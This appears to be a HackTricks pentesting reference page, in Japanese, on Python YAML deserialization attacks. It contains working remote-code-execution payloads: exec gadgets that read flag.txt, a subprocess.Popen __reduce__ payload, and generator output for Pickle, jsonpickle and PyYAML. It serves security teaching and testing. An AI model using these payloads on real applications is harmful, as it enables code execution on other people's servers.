hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

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Yaml デシリアライゼーション

YamlのPythonライブラリは、生データだけでなく、Pythonオブジェクトをシリアライズすることもできます。

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

タプルは生のデータ型ではないため、シリアライズされました。そして、同じことがrangeにも起こりました（builtinsから取得）。

**safe_load()またはsafe_load_all()**はSafeLoaderを使用し、クラスオブジェクトのデシリアライズをサポートしていません。クラスオブジェクトのデシリアライズの例：

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

以前のコードでは、unsafe_loadを使用してシリアル化されたPythonクラスをロードしました。これは、バージョン>=5.1では、load()またはLoader=SafeLoaderで指定されていないLoaderを使用して、シリアル化されたPythonクラスまたはクラス属性をデシリアライズすることができないためです。

基本的なエクスプロイト

スリープを実行する例：

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Loaderを指定しない脆弱な.load("<content>")

pyyamlの古いバージョンは、何かをロードする際にLoaderを指定しなかった場合、デシリアライズ攻撃の脆弱性がありました: yaml.load(data)

ここで脆弱性の説明を見つけることができます。 そのページで提案されている攻撃手法は次のとおりです:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

または、@ishaackが提供するこのワンライナーを使用することもできます:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

最近のバージョンでは、Loaderなしで.load()を呼び出すことはできなくなり、FullLoaderはこの攻撃に対して脆弱ではなくなりました。

RCE

ペイロードの作成は、任意のPython YAMLモジュール（PyYAMLまたはruamel.yaml）で同じ方法で行うことができます。同じペイロードは、YAMLモジュールまたはPyYAMLまたはruamel.yamlに基づく任意のモジュールを悪用することができます。

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

ペイロードを作成するツール

ツールhttps://github.com/j0lt-github/python-deserialization-attack-payload-generatorは、Pickle、PyYAML、jsonpickle、ruamel.yamlを悪用するためのPythonシリアライゼーションのペイロードを生成するために使用できます。

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

参考文献

この技術についての詳細な情報は、次を参照してください：https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

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